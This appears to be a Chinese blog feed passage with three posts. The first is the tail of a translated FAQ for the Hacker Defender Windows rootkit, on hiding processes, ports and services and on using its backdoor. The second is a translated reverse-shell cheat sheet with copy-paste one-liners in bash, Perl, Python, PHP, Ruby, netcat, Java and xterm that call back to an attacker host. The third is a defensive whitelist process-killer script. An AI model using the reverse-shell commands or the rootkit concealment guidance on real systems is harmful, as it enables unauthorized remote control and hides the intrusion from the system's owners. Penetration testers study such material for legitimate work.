问:我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?

答:正如本使用说明章节 5.后门 中所提及的,后门需要接收缓冲区大于等于256比特。也许系统中端口没有用。如果难以找到可用的端口,你可简单地运行netcat在你自己的端口上监听。你应该添加netcat的端口到配置文件的[Hidden Ports]中。

(5)

问:有办法隐藏文件在磁盘上可见的进程吗?

答: 没有。同样地,你也没办法隐藏在进程中可见的磁盘文件。

(6)

问:如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?

答:这真是个坏主意。如果你隐藏通用系统进程不久你的Windows系统就会崩溃。使用hxdef时你不需要把你的恶意文件命名为类似svchost.exe、lsass.exe这种。你可以以任意名称命名并添加它们至[Hidden Processes]以隐藏它们。

(7)

问:我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?

答: 不是。由于该特性目前还没有实现,所以DameWare和远程用户以及netbios都可以看到隐藏的服务。bug和未实现的特性还是有很大区别的。从网站的计划列表中可以看到这是尚未实现的特性。

(8)

问:但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?

答:把你的文件放在系统目录深处或是不共享的目录中。

(9)

问:后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?

答:你很可能连错了端口。Hxdef尝试检测错误端口并断开和你的连接。但有时它不能检测出你使用了错误的端口,所以尝试不同的端口吧。

(10)

问:我何时能得到新版本?

答: 开发者在业余时间为这项事业编写代码。他们不因此获利也不想因此获利。目前只有两名程序员而我们认为这足够了。这意味着本项目不会和微软一样快,你不应该问我们新版何时发布。不像微软,我们的产品是自由的。我们有好的测试员,我们做了很多测试,所以我们的产品是稳定可靠的。

(11)

问:net.exe命令可以结束隐藏服务,这是个bug吗?

答:不是。这不是bug,这是特性。你想要停止一个服务就得知道它的名字,若它是隐藏的,那么就只有Rootkit的管理员知道它的名字。别害怕这是检测你的方式。

(12)

问:有什么办法检测这个Rootkit吗?

答: 是的。有很多方法可以检测任何Rootkit,这个也不例外。每个Rootkit都可以被检测。问题在于检测难度和是否有人写了检测程序。

(13)

问:所以,检测hxdef有多难?有人写出做这事的程序了吗?

答:检测它是非常非常简单的,但我不知道有专门检测你机器上是否有hxdef的工具。

(14)

问:所以,我该如何检测它?

答:我才不告诉你呢 🙂

(15)

问:以0开头的版本号意味着不稳定版本吗?

答: 不,它意味着有许多新特性还没有实现以及源代码还没有开放。

(16)

问:你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?

答:我真的不知道什么时候。在发布1.0.0之前我有几件事需要完成。它将花费我六个月或一年或更长时间。

(17)

问:我想成为测试员,我该做什么?

答:你应该写信告诉我你能做出怎样的贡献,你关于这项工作有着怎样的能力,你关于测试的经验。但成为这个项目的新测试员的机会很小。现在我们有足够的测试人员可以做好这项工作。不需要再增加他们的数量。

(18)

问:使用hxdef合法吗?

答:是的,合法。但hxdef也容易被滥用于非法活动。

(19)

问:有可能在机器上升级老版本的hxdef吗?可以不重启吗?

答: 不重启机器是不可能的。但当你手动卸载老版本后可以升级它,重启机器并安装新版本。

(20)

问:有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?

答: 可以!你可以简单地使用“-:uninstall”完全移除这个版本的hxdef而不用重启,然后简单地安装新版本。

(21)

问:使用“-:uninstall”还是使用“net”停止ServiceName更好?

答: 如果可以选的话还是用“-:uninstall”更好些。但用net停止也是有效的。

(22)

问:我很喜欢这个程序。我可以小额赞助支持你的工作吗?

答: 我们不需要。但我们仍然希望你能向你所在国家的慈善机构捐款并写信告诉我们。

(23)

问:有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?

答:不能。创建以特殊的名字命名的你自己的目录并把它加入到[Hidden Table]。

(24)

问:我可以在配置文件中看到明文密码!这怎么可能呢?

答:你可能觉得这是很不安全的存储密码的方式,但若你隐藏了配置文件就没有人可以阅读它。所以,它是安全的。在任何时候,你都可以使用“-:refresh”很容易的修改密码。

(25)

如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?

答: 仅隐藏[Hidden Ports]中的端口,所以你应该将它添加到[Hidden Ports]中。

8.文件清单

原版的Hacker defender v1.0.0包含以下文件:

  • hxdef100.exe 70656b 程序Hacker defender v1.0.0
  • hxdOFdis.exe 70656b 程序Hacker defender v1.0.0禁用NtOpenFile hook版
  • hxdef100.ini 4119b 默认配置文件
  • hxdef100.2.ini 3924b 默认配置文件,变体2
  • bdcli100.exe 26624b 后门客户端
  • rdrbs100.exe 49152b 重定向基程序
  • readmecz.txt 37407b 捷克语版使用说明文件
  • readmeen.txt 37905b 英语版使用说明文件
  • src.zip 93679b 源码
]]>
https://blog.werner.wiki/hacker-defender-chinese-readme/feed/ 0
[译]反向shell浅谈 https://blog.werner.wiki/reverse-shell-cheat-sheet/ https://blog.werner.wiki/reverse-shell-cheat-sheet/#respond Thu, 19 Oct 2017 10:41:14 +0000 http://blog.werner.wiki/?p=384 《Reverse Shell Cheat Sheet》

前言

如果你在渗透测试中幸运地找到了一个命令执行漏洞那么接下来你可能想做的便是获得一个交互式shell。

通过新建账户、添加SSH秘钥或是修改.rhosts文件等方法直接登录当然可以获得交互式shell。
若无法直接登录,就该考虑将shell绑定到某个TCP端口(正向shell)或是弹一个反向shell。
本文主要介绍反向shell。

使用何种反向shell技术主要取决于目标主机上安装的脚本语言——除非你要在目标主机上安装新脚本语言。

下面的例子都是为类Unix系统定制的,其中有些例子通过简单的修改可以运行在Windows中,如将“/bin/sh -i”修改为“cmd.exe”。

所有命令都写成了一行以便于复制粘贴,虽然这降低了可读性。

Bash

下例测试于Ubuntu 10.10中:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

更多Bash的例子见:《bash can send you a reverse shell》

PERL

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

更短的版本:《perl-reverse-shell》

Python

下例测试于Linux / Python 2.7中:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

下例假设TCP使用的文件描述符是3,在我测试的电脑上是这样的。如果不行,尝试4、5、6…

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果能上传.php文件,可以试试更强大的《php-reverse-shell》

Ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat在现在的生产环境服务器中难得一见,就算安装了它,有一些版本也不支持“-e”参数。

    nc -e /bin/sh 10.0.0.1 1234

如果你遇到的Netcat不支持“-e”参数,可以用下面的方式获得反向shell:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

(没有从匿名读者测试子任务)

xterm

使用xterm会话是获得反向shell最简单的方式。下面的命令应该运行在服务器上,它将会尝试连接你(10.0.0.1)的6001端口。

    xterm -display 10.0.0.1:1

为接受xterm连接你需要启动一个X-Server,方法之一是使用如下命令,该命令运行在你的电脑(10.0.0.1中),:1表示6001端口:

    Xnest :1

还需要授权让目标能够连接你:

    xhost +targetip

进一步阅读

]]>
https://blog.werner.wiki/reverse-shell-cheat-sheet/feed/ 0
一个linux下限制进程的小脚本 https://blog.werner.wiki/limiting-process-scripts-in-linux/ https://blog.werner.wiki/limiting-process-scripts-in-linux/#respond Wed, 20 Sep 2017 10:07:07 +0000 http://blog.werner.wiki/?p=339 缘起

最近在做一门课程设计,需要实现这样的功能:在linux操作系统中部署一个网站,当网站部署完毕后,监控操作系统中的进程,杀死所有不在白名单中的进程,以防止恶意程序运行。大概搜索了下,没有找到现成可用的解决方案,决定自己实现。

设计

在linux中有许多系统必须的进程,若将这些进程都纳入白名单则白名单的配置会很繁琐。
简单起见,我们选择在操作系统启动完成、稳定运行后再运行限制进程的程序,检测新生进程,若不在白名单中则杀死该进程。
已经运行了较长时间的进程则被默认为系统进程而不做处理。

如何检测新生进程?用“ps -aux”命令查看进程,可以看到有名为START的列为进程启动时间,通过启动时间可以得知进程是否新生。该命令输出如下所示:

    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.0  34124  4660 ?        Ss   18:09   0:01 /sbin/init
    root         2  0.0  0.0      0     0 ?        S    18:09   0:00 [kthreadd]
    root         3  0.0  0.0      0     0 ?        S    18:09   0:00 [ksoftirqd/0]
    root         5  0.0  0.0      0     0 ?        S    18:09   0:00 [kworker/0:0H]
    root         7  0.0  0.0      0     0 ?        S    18:09   0:01 [rcu_sched]

但“ps -aux”命令输出的内容太多了,我们实际上只需要PID、START和COMMAND这三列信息就足够了。
用“man ps”查看“ps”命令的帮助,发现竟然有一千多行,还真是个强大的命令。从man手册中,我找到了想要的参数“ps -eo “%p%t%c””,该命令输出如下所示:

    PID     ELAPSED COMMAND
    1       50:59 init
    2       50:59 kthreadd
    3       50:59 ksoftirqd/0
    5       50:59 kworker/0:0H
    7       50:59 rcu_sched
    8       50:59 rcu_bh
    9       50:59 migration/0
    10      50:59 watchdog/0

PID和COMMAND都在,START没有了,取而代之的是ELAPSED——运行时长,这样处理起来就更方便了。
读取各个进程的信息,若某个进程的ELAPSED小于一个阈值,则判断该进程是否位于白名单中,若不在白名单中,则杀死它。

如何杀死一个进程呢?我们通过“ps”命令已经知道要杀死的进程的PID了,所以用kill命令就可以杀死进程。
kill命令实际上是在向目标进程发送信号,不加任何参数默认发送的信号是SIGTERM,这一信号是可以被目标进程忽略的,所以这里要加上参数“-KILL”,发送无法忽略的信号SIGKILL,这样能更为有效地杀死进程。
当然,为了避免没有权限而无法杀死进程,杀死进程的操作要有root权限。

进程是在不断产生的,进程检测也需要不断进行。如何周期性地检测进程呢?写一个死循环并sleep当然是一种方法,但在linux中有更方便地crontab(定时任务)。假设我们检测、限制进程的脚本名叫“pctrl.py”(是的,我是用Python实现的),放在目录“/opt/”中,则可以这样做:先用命令“sudo su”切换到root身份,然后执行命令“crontab -e”来编辑定时任务的配置文件,在其中加入一行,内容为:

    */1 * * * * /usr/bin/python /opt/pctrl.py

保存并退出后脚本“pctrl.py”便会以root权限每分钟被执行一次。分钟级是crontab所能达到的最小的时间粒度,想要更小的时间粒度,只能在脚本中实现了。例如,我想要每0.5秒检测一次,则脚本中应该有一个120次的循环,每次循环sleep半秒。

最后,日志也是很关键的。所有尝试杀死的进程都可能是恶意程序,记录日志是必要且有价值的。我们设计日志中输出时间、进程号、程序名(COMMAND)和是否成功杀死它,若失败,则也输出失败原因(失败原因即kill命令的输出)。

实现

用Python来实现上述设计。Python执行系统命令使用了库commands,用该库执行系统命令可以返回命令执行结果状态和命令输出,这些都是我们需要的。脚本“pctrl.py”内容如下:

    #!/usr/bin/python
    # ^_^ coding:utf8 ^_^

    ###############################################
    # sudo su                                     #
    # crontab -e                                  #
    # */1 * * * * /usr/bin/python /opt/pctrl.py   #
    ###############################################

    import os
    import sys
    import time
    import logging
    import commands

    #配置日志,根据实际情况修改日志路径
    logging.basicConfig(level=logging.DEBUG,
                    format='[%(asctime)s] [%(levelname)s] %(message)s',
                    datefmt='%Y.%m.%d %H:%M:%S',
                    filename='/var/log/pctrl.log',
                    filemode='a+')

    #配置白名单,根据实际需要修改白名单内容
    white_list = ['/usr/sbin/apache2 -k start']

    #杀死进程
    def killprocess(pid, comm):
        (status, output) = commands.getstatusoutput('kill -KILL ' + pid)
        if status == 0:
            logging.info('Successfully killed the process ' + pid + ': ' + comm)
        elif 'kill: No such process' not in output:
            reason = output.replace('\n', '')
            logging.warning('Failed to kill the process '     /
                            + pid + ': ' + comm + ': '+ reason)

    #检测进程
    def monitorprocess(timelimit):
        (status, output) = commands.getstatusoutput('ps  -eo "%p_%t_%c"')
        if status == 0:    
            processes = output.split('\n')[1:]
            for process in processes:
                process = process.replace(' ', '').split('_')
                pid = process[0]
                time = process[1].split(':')
                time = int(time[0])*60 + int(time[1])
                comm = process[2]
                if str(os.getpid()) == pid:
                    #不杀死自己
                    continue
                if comm in white_list:
                    #不杀死在白名单中的程序
                    continue
                if time < timelimit:
                    killprocess(pid, comm)
        else:
            logging.warning('The process of obtaining information failed')

    if __name__ == '__main__':
        for i in range(0, 120):
            monitorprocess(60)
            time.sleep(0.5)

测试

将上述脚本部署到测试用的安装了Apache服务器的虚拟机中进程测试。
部署完成后确实无法启动各种耗时较长的程序,而类似ifconfig这样一瞬间就能执行完毕的程序则不受影响。
从另一台机器访问测试虚拟机中的网站,发现Web服务是不受影响的。

查看“pctrl.py”的日志如下所示:

    test@test-VirtualBox:~$ cat /var/log/pctrl.log 
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6270: crontab
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6271: sh
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6272: sensible-editor
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6280: select-editor
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6294: cron
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6295: sh
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6327: crontab
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6328: sh
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6329: sensible-editor
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6337: editor
    [2017.09.20 19:41:37] [INFO] Successfully killed the process 6614: firefox
    [2017.09.20 19:41:37] [INFO] Successfully killed the process 6620: firefox<defunct>
    [2017.09.20 19:41:42] [INFO] Successfully killed the process 6680: gnome-screensho

若不关闭crontab而直接重启操作系统,很可能会导致系统无法重启。所以在关机前,一定要先关闭crontab。

总结

整个脚本写完后自己很不满意,怎么看都很幼稚。我虽然用了两年Ubuntu,但并不了解其细节,所以只能想出这种水平的实现方法。
这种方式有诸多缺点:

  • 部署、关闭都很不方便
  • 要频繁检测,不是触发式的,消耗资源较多
  • 恶意程序开机时就运行则无效
  • 恶意进程在0.5秒内执行完毕则无效
  • 恶意进程被隐藏,用ps命令看不到则无效
  • 恶意程序以正常进程子线程的方式运行则无效
]]>
https://blog.werner.wiki/limiting-process-scripts-in-linux/feed/ 0